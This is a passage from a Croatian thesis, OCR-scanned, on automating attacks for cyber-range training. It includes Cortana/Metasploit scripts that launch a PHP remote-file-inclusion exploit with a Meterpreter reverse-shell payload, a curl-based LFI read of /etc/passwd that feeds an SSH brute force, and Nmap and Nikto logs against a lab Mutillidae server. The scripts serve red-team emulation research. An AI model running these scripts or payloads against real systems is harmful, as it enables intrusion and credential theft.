vitu 1 duboku enumeraciju, zato Sto moduli koji su ugradeni za skeniranje nisu dovoljni
dobri da bi nadomjestili alate trece strane. Drugi problem bio je Sturost ispisa prilikom
slanja naredbi unutar Cortana skripti, gdje se za razliku od msfconsole alata, ne pri-
kazuje niti jedan medukorak izvrSavanja modula, bez obzira na postavljenu opSirnost
ispisa (engl. verbosity). Ne pomaZe niti ¢injenica da Armitage nije aZuriran od 2016.
godine, a upute za koriStenje skriptnog jezika Cortana nisu mijenjane od 2013. godine,
dok se Metasploit radni okvir redovito odrzava i aZurira. Zbog svoje velike i rastuce

baze tehnika iskoriStavanja, Metasploit radni okvir i dalje predstavlja veliki potencijal
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za automatizaciju racunalnih napada, koji bi se mogao iskoristiti uz prikladnu pro-

gramsku podrsku za skriptiranje scenarija napada.
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Automatizacija napada u kibernetickim poligonima

Sazetak

Moderni informacijski sustavi podloZni su napadima putem kibernetickog pros-
tora te su tvrtke svjesne te ¢injenice i za nju se odgovarajuée pripremaju. Jedna bitna
komponenta tih priprema je treniranje ljudi koji odrZavaju takve sustave da prepoz-
naju napade te da ih na odgovarajuci nacin uklone. Izazov je §to uvjezbavanje na
stvarnim sustavima nije dozvoljeno buduc¢i da im se tijekom vjeZbe moZe naStetiti, a
istovremeno, napadi nisu tako Cesti. 1z tog razloga teZi se kreiranju simuliranih okolina
unutar koji se provode vjezbe. Takve vjeZbe primarno sluZe za uvjezbavanje tehnickih
sposobnosti te se nazivaju kiberneti¢ki poligoni (engl. cyber range). Bitna kompo-
nenta kiberneti¢kih poligona je modul za automatizaciju napada, odnosno emulaciju
crvenih timova, jer je dosta teSko nac¢i kompetentne ljude za tu zadadu. Ovaj rad istra-
7Zuje metode automatizacije, odnosno emulacije napada te kako se implementiraju na

postojecim kibernetickim poligonima. Kljuéne rijeci: kiberneticki poligon, crveni

tim, automatizacija crvenog tima, racunalni napadi
Cyber attack automation for cyber ranges

Abstract

Modern information systems are susceptible of cyber attacks, and companies are
aware of it and try to prepare themselves accordingly. A major component in these pre-
parations is the training of experts, who maintain those system to detect and respond to
such attacks. It is prohibited to conduct such training on the production environment,
in order to avoid causing serious damage to the system, which, in addition to these
attacks not being very common, present a challenge. That’s why it is desirable to cre-
ate a simulated environments to conduct training drills. Such environments, combined
which training drills, are called cyber ranges. A major factor in these environments
is the conduction of computer attacks during drills. Searching for qualified personell
for this task can be time-consuming, exhausting and quite expensive, so it’s benefi-
ciary to automate the process of performing computer attacks. This paper researches
automation methods, and how they are implemented in the context of a cyber range.

Keywords: cyber range, red team, red team automation, computer attacks



Dodatak A

Cortana skripte

1 command foo ({
2 println("Hello_ S$1");
31}

Ispis A.1: Hello World skripta

1 on ready {

2 println ("Hello, Metasploit!");
3 println ("Hosts:_," . size(hosts()));
4 println("Sessions: , ...." . sSize(sessions()));
5 println("Services: , ....." - size(services()));
6 println("Credentials: " . size(credentials()));
7 quit ();
8}
Ispis A.2: msf-stats.cna - skripta koja ispisuje osnovne podatke iz Metasploit baze podataka
1 debug (7) ;

2 global (’ $console’) ;
3 global (' Starget’);
4 global (’ $host’) ;

5 Shost = lhost();

6 on ready {

7 println ("reporting for duty");

8 Sconsole = console();

9 println ("got _console");

10 say ("got_,console");

11 #cmd (Sconsole, "nmap -Pn -p— —-sV -sC -sS -T 5

192.168.56.12");
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12 println("scan_is_running");

13 say ("scan_is_running");

14}

15

16 on event_read {

17 println("S$1");

18 }

19

20 on session_open {

21 if (-isshell $1) {

22 println ("Normal_shell was_created");
23 return;

24 }

25 if (!-ismeterpreter $1) {

26 return;

27 }

28 println("A_session_was_created:_S$1");
29 println ("Here'’s_some_session data: $2");
30 }

31

32 on meterpreter {

33 println ("session_ $1_typed_in_the_ command_$2");
34 println ("command output,_was S$3");
351}

36 on exec_error {

37 println("error_occured: $1");

38}

39

40 on host_add {

41 println ("Host, added: $1");

42}

43

44 command met-command {

45 m_cmd (S$1, $2);

46

47}

48

49 on console_exploit {
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50 println ("Command: _$2");

51 println("Out:_$3");

52}

53

54 sub php_rfi {

55 println("Trying RFI_exploit_on_host, $1");

56 println ("Path: _$2");

57 println ("PHPURI: $3");

58

59 exploit ("unix/webapp/php_include", $1, % (path => $2,

phpuri => $3, PAYLOAD => "php/meterpreter/reverse_tcp
",lhost => Shost,lport => 4444));

60 println ("Exploit_,deployed, please_wait_a_bit");
61}

62

63 command php-rfi {

64 php_rfi $1 $2 $3

65 }

Ispis A.3: Izvorni kod Cortana skripte za scenarij napada na Mutillidae Il posluZitel]

1.

2 sub execute\_nmap {

3 local (' Shandle’);

4 local (" @data’);

5 local(’$line’);

6 local (' $Snmap’) ;

7 $Snmap = "nmap_~-Pn_-T5 ,-sV_,-sC_-p-_-0G_ —-.";
8 println (" [+*]Executing: \’S$nmap_S$+_$1\’...");
9 say (" [+*]Executing: _\’S$nmap_S$+_S$1\’...");
10 $handle = exec ("$nmap S+ 51");

11 @Qdata = readAll (Shandle);

12 closef ($Shandle);

13 println (" [+«]Nmap, scan _done!")

14 foreach $line (@data) { println(S$line);}
15}

16 . ..

Ispis A.4: IsjeCak Cortana skripte koji izvodi Nmap skeniranje u ljusci operacijskog sustava

racunala koje pokrece scenarij
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1 debug (debug () | 256);

2

30on ready {

4
5
6
7}
8

println("hello");
println ("use_command \’1fi\’ _to_begin...")

db_sync () ;

9 on session_open {

10
11
12

13 }
14

println("session $1_was_created_with_data:_5$2");
say ("session $1,_,opened");
println ("To_type_command use \'comm <session-id>_ <

command>_\’'");

15 command comm {

16
17}
18

s_cmd ($1, $2);

19 on shell {

20
21
22}
23

println("Session $1:$2");
println ($3);

24 command 1fi {

25
26
27
28
29
30
31
32

33
34

local (' Qusers’);

local (!’ $test’);

local (’ $users_file’);

local (' Spass_wordlist’);

Susers_file = "/tmp/users.txt";

Spass\_wordlist = "/usr/share/wordlists/rockyou.txt";

println ("execute 1£fi");

Stest = exec (’/curl_-s_http://$1/mutillidae/index.php?
page=../../../../etc/passwd_|_grep —i -E_ ""la-z_] [A-
Z0-9_—-1x[$]2:.%" | cut—d":" —fl > /tmp/users.txt’);

closef ($test) ;

println("1fi_executed, ,time_ to_brute force")
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35 auxiliary ("scanner/ssh/ssh_login", @(S$1), % (user_file =>
Susers_file, pass_file => $pass_wordlist));
36 println("exploit_,launched, ,if _cracked, _a _session _will_,

open") ;
37}

Ispis A.5: Cortana skripta za izvodenje SSH napada grubom silom na korisnike otkrivene

iskoriStavanjem LFI ranjivosti
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Dodatak B
Rezultati koriStenja klasi¢nih alata

penetracijskog testiranja

1 Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-17 17:13
CEST

2mass_dns: warning: Unable to determine any DNS servers.
Reverse DNS is disabled. Try using —--system-dns or specify
valid servers with —--dns-servers

3 Nmap scan report for 192.168.56.12

4 Host is up (0.00020s latency).

5 Not shown: 65532 closed ports

6 PORT STATE SERVICE VERSION

722/tcp open ssh OpenSSH 8.0pl Ubuntu 6buildl (Ubuntu Linux;
protocol 2.0)

8 | ssh-hostkey:

9] 3072 b8:54:74:d6:d9:b2:¢cb:31:96:c3:20:b9:c5:9%e:af:f4 (RSA)

10 | 256 8e:e0:6c:ac:67:95:72:8e:44:8c:d1:33:5¢c:2c:17:f4 (ECDSA)

11| _ 256 c8:1c:bl:b8:e0:8e:16:df:9f:7b:65:8b:67:38:96:e5 (
ED25519)

12 80/tcp open http Apache httpd 2.4.41 ((Ubuntu))

13 | _http-server—-header: Apache/2.4.41 (Ubuntu)

14 |_http-title: Apache2 Ubuntu Default Page: It works

1533060/tcp open mysqglx?

16 | fingerprint-strings:

17 | DNSStatusRequestTCP, LDAPSearchReq, NotesRPC, SSLSessionReq,

TLSSessionReq, X11Probe, afp:
18 | Invalid message"

19 | HYO0O0O

—
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20 1 _,service_unrecognized,_despite_returning data. If_you_know_the
_service/version, please_submit_the following fingerprint,,
at_https://nmap.org/cgi-bin/submit.cgi?new—service,:

21 SF-Port33060-TCP:V=7.80%I=7%D=6/17%Time=5EEA3313%P=x86_64—-pc—
linux—gnu%r (N

22 SF:ULL, 9, "\x05\0\0\0\x0b\x08\x05\x1a\0") $r (GenericLines, 9, "\
x05\0\0\0\x0b\

23 SF:x08\x05\x1a\0") %r (GetRequest, 9, "\x05\0\0\0\x0b\x08\x05\x1a
\O")%r (HTTPOp

24 SF:tions, 9, "\x05\0\0\0\x0b\x08\x05\x1a\0") $r (RTSPRequest, 9, "\
x05\0\0\0\x0b

25 SF:\x08\x05\x1a\0") $r (RPCCheck, 9, "\x05\0\0\0\x0b\x08\x05\x1a\0
")%r (DNSVers

26 SF:ionBindRegTCP, 9, "\x05\0\0\0\x0b\x08\x05\x1a\0") $r (
DNSStatusRequestTCP, 2

27 SF:B, "\x05\0\0\0\x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\
x88’\xla\x0fI

28 SF:nvalid\x20message\"\x05HY000") %$r (Help, 9, "\x05\0\0\0\x0b\x08
\x05\x1a\0")

29 SF:%r (SSLSessionReq, 2B, "\x05\0\0\0\x0b\x08\x05\x1a\0\x1le
\0\0\0\x01\x08\x01

30 SF:\x10\x88’\xla\x0fInvalid\x20message\"\x05HY000") $r (
TerminalServerCookie

31 SF:, 9, "\x05\0\0\0\x0b\x08\x05\x1a\0") $r (TLSSessionReq, 2B, "\x05
\ONONO\x0b\x

32 SF:08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88" \x1la\x0fInvalid\
x20message\"

33 SF:\x05HY000") $r (Kerberos, 9, "\x05\0\0\0\x0b\x08\x05\x1a\0") %r (
SMBProgNeg, 9

34 sF:, "\x05\0\0\0\x0b\x08\x05\x1a\0") %r (X11Probe, 2B, "\x05\0\0\0\
x0b\x08\x05\

35 SF:x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88" \x1la\x0fInvalid\
x20message\"\x05HYO

36 SF:00") $r (FourOhFourRequest, 9, "\x05\0\0\0\x0b\x08\x05\x1a\0") %
r (LPDString,

37 SF:9, "\x05\0\0\0\x0b\x08\x05\x1a\0") $r (LDAPSearchReq, 2B, "\x05
\NO0NO\O0\x0b\x0

38 SF:8\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88" \x1la\x0fInvalid\
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x20message\"\

39 SF:x05HY000") $r (LDAPBindReq, 9, "\x05\0\0\0\x0b\x08\x05\x1a\0") %
r (SIPOptions

40 SF:, 9, "\x05\0\0\0\x0b\x08\x05\x1a\0") %$r (LANDesk-RC, 9, "\x05
\0\0\0\x0b\x08\x

41 SF:05\x1a\0") %r (TerminalServer, 9, "\x05\0\0\0\x0b\x08\x05\x1a\0
")%r (NCP, 9, "

42 SF:\x05\0\0\0\x0b\x08\x05\x1a\0") $r (NotesRPC, 2B, "\x05\0\0\0\
x0b\x08\x05\x1

43 SF:a\0\x1e\0\0\0\x01\x08\x01\x10\x88" \x1la\x0fInvalid\
x20message\"\x05HY000

44 SF:") %r (JavaRMI, 9, "\x05\0\0\0\x0b\x08\x05\x1a\0") $r (WMSRequest
, 9, "\x05\0\0

45 SF:\0\x0b\x08\x05\x1a\0") %r (oracle—-tns, 9, "\x05\0\0\0\x0b\x08\
x05\x1a\0") $r

46 SF: (ms—-sgl-s, 9, "\x05\0\0\0\x0b\x08\x05\x1a\0") %r (afp, 2B, "\x05
\NO0NO\O0\x0b\x0

47 SF:8\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88" \x1la\x0fInvalid\
x20message\"\

48 SF:x05HY000") $r (giop, 9, "\x05\0\0\0\x0b\x08\x05\x1a\0") ;

49 MAC_Address:_,08:00:27:9D:FA:17_(Oracle_VirtualBox virtual NIC)

50 Service_Info: 0S:_Linux; CPE:_cpe:/o:linux:linux_kernel

51

52 Service _detection_performed._Please report_any, incorrect,
results_at_https://nmap.org/submit/_,.

53 Nmap,_done: 1 ,IP_address,(1_host_up) scanned_in 35.27_seconds

Ispis B.1: Rezultat Nmap skeniranja vratiju ranjivog posluzitelja

1 darian@kali-dell-vostro-3558:~$ nikto -host 192.168.56.12 -
root /mutillidae/
2 - Nikto v2.1.6

4+ Target IP: 192.168.56.12

5+ Target Hostname: 192.168.56.12

6 + Target Port: 80

7+ Target Path: /mutillidae

8+ Start Time: 2020-06-18 11:08:26 (GMT2)
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10 + Server: Apache/2.4.41 (Ubuntu)

11 + Cookie PHPSESSID created without the httponly flag

12 + Cookie showhints created without the httponly flag

13+ The anti-clickjacking X-Frame-Options header is not present.

14 + X-XSS-Protection header has been set to disable XSS
Protection. There is unlikely to be a good reason for this.

15+ Uncommon header ’logged-in-user’ found, with contents:

16 + The X-Content-Type-Options header is not set. This could
allow the user agent to render the content of the site in a

different fashion to the MIME type

17+ No CGI Directories found (use '-C_all’ to force check all
possible dirs)

18 + "robots.txt" contains 8 entries which should be manually
viewed.

19 + Allowed HTTP Methods: GET, POST, OPTIONS, HEAD

20 + Web Server returns a valid response with junk HTTP methods,
this may cause false positives.

21 + DEBUG HTTP verb may show server debugging information. See
http://msdn.microsoft.com/en-us/library/e8z01xdh%28VS
.80%29.aspx for details.

22 + /mutillidae/index.php?page=../../../../../../../../../../etc
/passwd: The PHP-Nuke Rocket add-in is vulnerable to file
traversal, allowing an attacker to view any file on the
host. (probably Rocket, but could be any index.php)

23+ /mutillidae/phpinfo.php: Output from the phpinfo() function
was found.

24 + OSVDB-12184: /mutillidae/?=PHPB8B5F2A0-3C92-11d3-A3A9-4
C7B08C10000: PHP reveals potentially sensitive information
via certain HTTP requests that contain specific QUERY
strings.

25+ 0OSVDB-3268: /mutillidae/includes/: Directory indexing found.

26 + OSVDB-3092: /mutillidae/includes/: This might be interesting

27 + OSVDB-3268: /mutillidae/passwords/: Directory indexing found

28 + OSVDB-3092: /mutillidae/passwords/: This might be
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29 +

30 +
31 +
32 +

33 +

34 +
35+
36 +

37 +_,

38 +

39 +_,

40 +

41 +_,

42 +

interesting...

OSVDB-3092: /mutillidae/phpmyadmin/Changelog: phpMyAdmin is
for managing MySQL databases, and should be protected or
limited to authorized hosts.

OSVDB-3268: /mutillidae/test/: Directory indexing found.

OSVDB-3092: /mutillidae/test/: This might be interesting...

OSVDB-3233: /mutillidae/phpinfo.php: PHP is installed, and a

test script which runs phpinfo() was found. This gives a
lot of system information.

OSVDB-3233: /mutillidae/index.php: PHP is installed, and a
test script which runs phpinfo () was found. This gives a
lot of system information.

OSVDB-3268: /mutillidae/images/: Directory indexing found.

OSVDB-3268: /mutillidae/styles/: Directory indexing found.

OSVDB-5292: /mutillidae/?_CONFIG[files] [functions_page]l=http
://cirt.net/rfiinc.txt?: RFI from RSnake’s_ list_ (http://ha.
ckers.org/weird/rfi-locations.dat) ,or_from_http://osvdb.org
/

OSVDB-5292:_,/mutillidae/?npage=-1l&content_dir=http://cirt.
net/rfiinc.txt?%$00&cmd=1s: RFI_ from RSnake’s list (http://
ha.ckers.org/weird/rfi-locations.dat) or from http://osvdb.
org/

OSVDB-5292: /mutillidae/?npage=1l&content_dir=http://cirt.net
/rfiinc.txt?%00&cmd=1s: RFI from RSnake’s_list_ (http://ha.
ckers.org/weird/rfi-locations.dat) ,or_from_ http://osvdb.org
/

OSVDB-5292: /mutillidae/?show=http://cirt.net/rfiinc.txt??:
RFI_from_RSnake’s list (http://ha.ckers.org/weird/rfi-
locations.dat) or from http://osvdb.org/

OSVDB-5292: /mutillidae/index.php?1=101&PAGES[lol]l=http://
cirt.net/rfiinc.txt?: RFI from RSnake’s_list_ (http://ha.
ckers.org/weird/rfi-locations.dat) ,or ,from http://osvdb.org
/

OSVDB-5292: ,/mutillidae/index.php?AML_opensite=http://cirt.
net/rfiinc.txt?:_RFI_from_RSnake’s list (http://ha.ckers.
org/weird/rfi-locations.dat) or from http://osvdb.org/

OSVDB-5292: /mutillidae/index.php?AMV_openconfig=1¢&
AMV_serverpath=http://cirt.net/rfiinc.txt?: RFI from RSnake
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s list_, (http://ha.ckers.org/weird/rfi-locations.dat) or,
from_http://osvdb.org/

43 + 0SVDB-5292: /mutillidae/index.php?CONFIG[MWCHAT_Libs]=http
://cirt.net/rfiinc.txt??: RFI_from_RSnake’s list (http://ha
.ckers.org/weird/rfi-locations.dat) or from http://osvdb.
org/

44 + OSVDB-5292: /mutillidae/index.php?ConfigDir=http://cirt.net/
rfiinc.txt?: RFI from RSnake’s_list_ (http://ha.ckers.org/
weird/rfi-locations.dat) ,or from_http://osvdb.org/

45 +_0SVDB-5292: /mutillidae/index.php?DIR_PLUGINS=http://cirt.
net/rfiinc.txt?: RFI_from_RSnake’s list (http://ha.ckers.
org/weird/rfi-locations.dat) or from http://osvdb.org/

46 + OSVDB-5292: /mutillidae/index.php?G_JGALL[inc_path]l=http://
cirt.net/rfiinc.txt?%00: RFI from RSnake’s list_ (http://ha.
ckers.org/weird/rfi-locations.dat) ,or_from_http://osvdb.org
/

47 +_0SVDB-5292: /mutillidae/index.php?HomeDir=http://cirt.net/
rfiinc.txt?: RFI_from_ RSnake’s list (http://ha.ckers.org/
weird/rfi-locations.dat) or from http://osvdb.org/

48 + OSVDB-5292: /mutillidae/index.php?Lang=AR&Page=http://cirt.
net/rfiinc.txt?: RFI from RSnake’s_list_ (http://ha.ckers.
org/weird/rfi-locations.dat) ,or_from_http://osvdb.org/

49 +_0SVDB-5292: ,/mutillidae/index.php?Madoa=http://cirt.net/
rfiinc.txt??: RFI_from_RSnake’s list (http://ha.ckers.org/
weird/rfi-locations.dat) or from http://osvdb.org/

50 + OSVDB-5292: /mutillidae/index.php?RP_PATH=http://cirt.net/
rfiinc.txt?: RFI from RSnake’s list  (http://ha.ckers.org/
welrd/rfi-locations.dat) _,or from http://osvdb.org/

51 +_0SVDB-5292: ,/mutillidae/index.php?_REQUEST=&_ REQUEST [option
]=com_content& REQUEST [Itemid=1&GLOBALS=¢&
mosConfig_absolute_path=http://cirt.net/rfiinc.txt?:_RFI_
from_RSnake’s list (http://ha.ckers.org/weird/rfi-locations
.dat) or from http://osvdb.org/

52 + OSVDB-5292: /mutillidae/index.php?_REQUEST=&_ REQUEST [option
]=com_content& REQUEST [Itemid]=1&GLOBALS=&
mosConfig_absolute_path=http://cirt.net/rfiinc.txt?: RFI
from RSnake’s_list_ (http://ha.ckers.org/weird/rfi-locations

.dat) ,or _from http://osvdb.org/
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53 +_0SVDB-5292: ,/mutillidae/index.php?abg_path=http://cirt.net/
rfiinc.txt??: RFI_from RSnake’s list (http://ha.ckers.org/
welird/rfi-locations.dat) or from http://osvdb.org/

54 + OSVDB-5292: /mutillidae/index.php?abs_path=http://cirt.net/
rfiinc.txt?: RFI from RSnake’s_list_ (http://ha.ckers.org/
weird/rfi-locations.dat) or from_http://osvdb.org/

55 +_0SVDB-5292: ,/mutillidae/index.php?abs_path=http://cirt.net/
rfiinc.txt??: RFI_ from_RSnake’s list (http://ha.ckers.org/
weird/rfi-locations.dat) or from http://osvdb.org/

56 + OSVDB-5292: /mutillidae/index.php?adduser=true&lang=http://
cirt.net/rfiinc.txt?: RFI from RSnake’s_list_ (http://ha.
ckers.org/weird/rfi-locations.dat) or_from_http://osvdb.org
/

57 +_0SVDB-5292: ,/mutillidae/index.php?adodb=http://cirt.net/
rfiinc.txt?: RFI_from_RSnake’s list (http://ha.ckers.org/
weird/rfi-locations.dat) or from http://osvdb.org/

58 + OSVDB-5292: /mutillidae/index.php?ads_file=http://cirt.net/
rfiinc.txt?: RFI from RSnake’s_list_ (http://ha.ckers.org/
weird/rfi-locations.dat) _,or _from http://osvdb.org/

59 +_0SVDB-5292: ,/mutillidae/index.php?arquivo=http://cirt.net/
rfiinc.txt?: RFI_from_RSnake’s list (http://ha.ckers.org/
weird/rfi-locations.dat) or from http://osvdb.org/

60 + OSVDB-5292: /mutillidae/index.php?back=http://cirt.net/
rfiinc.txt?: RFI from RSnake’s_list_ (http://ha.ckers.org/
weird/rfi-locations.dat) ,or from http://osvdb.org/

61 +_0SVDB-5292: ,/mutillidae/index.php?base==http://cirt.net/
rfiinc.txt?: RFI_from_RSnake’s list (http://ha.ckers.org/
weird/rfi-locations.dat) or from http://osvdb.org/

62 + OSVDB-5292: /mutillidae/index.php?basePath=http://cirt.net/
rfiinc.txt?: RFI from RSnake’s_list_ (http://ha.ckers.org/
weird/rfi-locations.dat) _or_from_http://osvdb.org/

63 +_,0SVDB-5292: /mutillidae/index.php?bibtexrootrel=http://cirt.
net/rfiinc.txt??: RFI_from_RSnake’s 1list (http://ha.ckers.
org/weird/rfi-locations.dat) or from http://osvdb.org/

64 + OSVDB-5292: /mutillidae/index.php?blog_dc_path=http://cirt.
net/rfiinc.txt?: RFI from RSnake’s_list_ (http://ha.ckers.
org/weird/rfi-locations.dat) or_from_http://osvdb.org/

65 +_0SVDB-5292: ,/mutillidae/index.php?blog_theme=http://cirt.net
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/rfiinc.txt?: RFI_from_RSnake’s list (http://ha.ckers.org/
weird/rfi-locations.dat) or from http://osvdb.org/

66 + OSVDB-5292: /mutillidae/index.php?body=http://cirt.net/
rfiinc.txt?: RFI from RSnake’s list  (http://ha.ckers.org/
welird/rfi-locations.dat) _,or from http://osvdb.org/

67 +_0SVDB-5292: ,/mutillidae/index.php?class_path=http://cirt.net
/rfiinc.txt??: RFI_from_ RSnake’s list (http://ha.ckers.org/
welird/rfi-locations.dat) or from http://osvdb.org/

68 + OSVDB-5292: /mutillidae/index.php?classified_path=http://
cirt.net/rfiinc.txt??: RFI from RSnake’s_ list_ (http://ha.
ckers.org/weird/rfi-locations.dat) ,or_from_http://osvdb.org
/

69 +_0SVDB-5292: ,/mutillidae/index.php?cms=http://cirt.net/rfiinc
.txt??: RFI_from_RSnake’s list (http://ha.ckers.org/weird/
rfi-locations.dat) or from http://osvdb.org/

70 + OSVDB-5292: /mutillidae/index.php?config[\"sipssys\"]=http
://cirt.net/rfiinc.txt?: RFI from RSnake’s_list_ (http://ha.
ckers.org/weird/rfi-locations.dat) ,or_from_http://osvdb.org
/

71 +_0SVDB-5292: ,/mutillidae/index.php?config[root_ordner]=http
://cirt.net/rfiinc.txt??&cmd=1id: _RFI_from_RSnake’s list (
http://ha.ckers.org/weird/rfi-locations.dat) or from http
://osvdb.org/

72 + OSVDB-5292: /mutillidae/index.php?config[root_ordner]=http
://cirt.net/rfiinc.txt??cmd=id: RFI from RSnake’s_list_(
http://ha.ckers.org/weird/rfi-locations.dat) _or from_http
://osvdb.org/

73 +_,0SVDB-5292: ,/mutillidae/index.php?config_atkroot=http://cirt
.net/rfiinc.txt?: RFI_from_RSnake’s list (http://ha.ckers.
org/weird/rfi-locations.dat) or from http://osvdb.org/

74 + OSVDB-5292: /mutillidae/index.php?configuration=http://cirt.
net/rfiinc.txt?: RFI from RSnake’s_list_ (http://ha.ckers.
org/weird/rfi-locations.dat) ,or  from_http://osvdb.org/

75 +_0SVDB-5292: ,/mutillidae/index.php?custom_admin_path=http://
cirt.net/rfiinc.txt??: _RFI_from RSnake’s list (http://ha.
ckers.org/weird/rfi-locations.dat) or from http://osvdb.org
/

76 + OSVDB-5292: /mutillidae/index.php?dateiPfad=http://cirt.net/
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rfiinc.txt??&cmd=1s: RFI from RSnake’s_list_ (http://ha.
ckers.org/weird/rfi-locations.dat) ,or_from_http://osvdb.org
/

77 +_0SVDB-5292: ,/mutillidae/index.php?de=http://cirt.net/rfiinc.
txt?: RFI_ from RSnake’s list (http://ha.ckers.org/weird/rfi
-locations.dat) or from http://osvdb.org/

78 + OSVDB-5292: /mutillidae/index.php?dept=http://cirt.net/
rfiinc.txt?: RFI from RSnake’s_list_ (http://ha.ckers.org/
weird/rfi-locations.dat) ,or from_http://osvdb.org/

79 +_0SVDB-5292: /mutillidae/index.php?do=http://cirt.net/rfiinc.
txt?: RFI_from RSnake’s list (http://ha.ckers.org/weird/rfi
-locations.dat) or from http://osvdb.org/

80 + OSVDB-5292: /mutillidae/index.php?exec=http://cirt.net/
rfiinc.txt??: RFI from RSnake’s_list_ (http://ha.ckers.org/
weird/rfi-locations.dat) _,or from http://osvdb.org/

81 +_0SVDB-5292: ,/mutillidae/index.php?ext=http://cirt.net/rfiinc
.txt?: RFI_from_ RSnake’s list (http://ha.ckers.org/weird/
rfi-locations.dat) or from http://osvdb.org/

82 + 0OSVDB-5292: /mutillidae/index.php?faq_path=http://cirt.net/
rfiinc.txt??&cmd=id: RFI from RSnake’s_list_ (http://ha.
ckers.org/weird/rfi-locations.dat) ,or_from_http://osvdb.org
/

83 +_0OSVDB-5292: ,/mutillidae/index.php?file_Nikto[]=http://cirt.
net/rfiinc.txt??: RFI_from_ RSnake’s list (http://ha.ckers.
org/weird/rfi-locations.dat) or from http://osvdb.org/

84 + OSVDB-5292: /mutillidae/index.php?file_name[]=http://cirt.
net/rfiinc.txt??: RFI from RSnake’s_ list_, (http://ha.ckers.
org/weird/rfi-locations.dat) ,or_from_http://osvdb.org/

85 +_0SVDB-5292: ,/mutillidae/index.php?file_path=http://cirt.net/
rfiinc.txt??: RFI_from RSnake’s list (http://ha.ckers.org/
welird/rfi-locations.dat) or from http://osvdb.org/

86 + OSVDB-5292: /mutillidae/index.php?fileloc=http://cirt.net/
rfiinc.txt?: RFI from RSnake’s_list_ (http://ha.ckers.org/
weird/rfi-locations.dat) or_ from_http://osvdb.org/

87 +_OSVDB-5292: /mutillidae/index.php?from=http://cirt.net/
rfiinc.txt?: RFI_from_ RSnake’s list (http://ha.ckers.org/
weird/rfi-locations.dat) or from http://osvdb.org/

88 + OSVDB-5292: /mutillidae/index.php?func=http://cirt.net/
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rfiinc.txt??: RFI from RSnake’s_list_ (http://ha.ckers.org/
weird/rfi-locations.dat) _,or from http://osvdb.org/

89 +_0SVDB-5292: ,/mutillidae/index.php?function=http://cirt.net/
rfiinc.txt?: RFI_from_RSnake’s list (http://ha.ckers.org/
weird/rfi-locations.dat) or from http://osvdb.org/

90 + OSVDB-5292: /mutillidae/index.php?function=custom&custom=
http://cirt.net/rfiinc.txt?: RFI from RSnake’s_list_ (http
://ha.ckers.org/weird/rfi-locations.dat) _or from_http://
osvdb.org/

91 +_0SVDB-5292: ,/mutillidae/index.php?gOo=http://cirt.net/rfiinc
.txt?: RFI_from_RSnake’s list (http://ha.ckers.org/weird/
rfi-locations.dat) or from http://osvdb.org/

92 + OSVDB-5292: /mutillidae/index.php?gen=http://cirt.net/rfiinc
.txt?: RFI from RSnake’s_list_ (http://ha.ckers.org/weird/
rfi-locations.dat) ,or_ from_http://osvdb.org/

93 +_0SVDB-5292: ,/mutillidae/index.php?get=http://cirt.net/rfiinc
.txt?: RFI_from_ RSnake’s list (http://ha.ckers.org/weird/
rfi-locations.dat) or from http://osvdb.org/

94 + OSVDB-5292: /mutillidae/index.php?home_Nikto=http://cirt.net
/rfiinc.txt?: RFI from RSnake’s_list_, (http://ha.ckers.org/
weird/rfi-locations.dat) _or_ from_http://osvdb.org/

95 +_0SVDB-5292: /mutillidae/index.php?home_name=http://cirt.net/
rfiinc.txt?: RFI_from_RSnake’s list (http://ha.ckers.org/
weird/rfi-locations.dat) or from http://osvdb.org/

96 + OSVDB-5292: /mutillidae/index.php?ilang=http://cirt.net/
rfiinc.txt??: RFI from RSnake’s_list_ (http://ha.ckers.org/
weird/rfi-locations.dat) ,or from_http://osvdb.org/

97 +_,0SVDB-5292: /mutillidae/index.php?inc_dir=http://cirt.net/
rfiinc.txt?: RFI_from_RSnake’s list (http://ha.ckers.org/
weird/rfi-locations.dat) or from http://osvdb.org/

98 + OSVDB-5292: /mutillidae/index.php?inc_dir=http://cirt.net/
rfiinc.txt??: RFI from RSnake’s_list_ (http://ha.ckers.org/
welird/rfi-locations.dat) _,or from http://osvdb.org/

99 +_0SVDB-5292: ,/mutillidae/index.php?includeDir=http://cirt.net
/rfiinc.txt?: RFI_from RSnake’s list (http://ha.ckers.org/
weird/rfi-locations.dat) or from http://osvdb.org/

100 + OSVDB-5292: /mutillidae/index.php?includeFooter=http://cirt.
net/rfiinc.txt?: RFI from RSnake’s_list_ (http://ha.ckers.
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org/weird/rfi-locations.dat) or_from_http://osvdb.org/

101 +_0SVDB-5292: ,/mutillidae/index.php?includesdir=http://cirt.
net/rfiinc.txt?: RFI_from_RSnake’s list (http://ha.ckers.
org/weird/rfi-locations.dat) or from http://osvdb.org/

102 + OSVDB-5292: /mutillidae/index.php?insPath=http://cirt.net/
rfiinc.txt?: RFI from RSnake’s_list_ (http://ha.ckers.org/
weird/rfi-locations.dat) _,or from http://osvdb.org/

103 +_,0SVDB-5292: ,/mutillidae/index.php?lang=http://cirt.net/
rfiinc.txt?: RFI_from_RSnake’s list (http://ha.ckers.org/
weird/rfi-locations.dat) or from http://osvdb.org/

104 + OSVDB-5292: /mutillidae/index.php?language=http://cirt.net/
rfiinc.txt??: RFI from RSnake’s_list_ (http://ha.ckers.org/
welird/rfi-locations.dat) ,or from http://osvdb.org/

105 +_OSVDB-5292: ,/mutillidae/index.php?language=en&main_page=http
://cirt.net/rfiinc.txt?: RFI_from_ RSnake’s list (http://ha.
ckers.org/weird/rfi-locations.dat) or from http://osvdb.org
/

106 + OSVDB-5292: /mutillidae/index.php?lizge=http://cirt.net/
rfiinc.txt??&cmd=1s: RFI from RSnake’s_list_ (http://ha.
ckers.org/weird/rfi-locations.dat) ,or_from_ http://osvdb.org
/

107 +_,0SVDB-5292: ,/mutillidae/index.php?lng=http://cirt.net/rfiinc
.txt?: RFI_from RSnake’s list (http://ha.ckers.org/weird/
rfi-locations.dat) or from http://osvdb.org/

108 + OSVDB-5292: /mutillidae/index.php?load=http://cirt.net/
rfiinc.txt?: RFI from RSnake’s_list_ (http://ha.ckers.org/
weird/rfi-locations.dat) ,or from_http://osvdb.org/

109 +_OSVDB-5292: ,/mutillidae/index.php?loadpage=http://cirt.net/
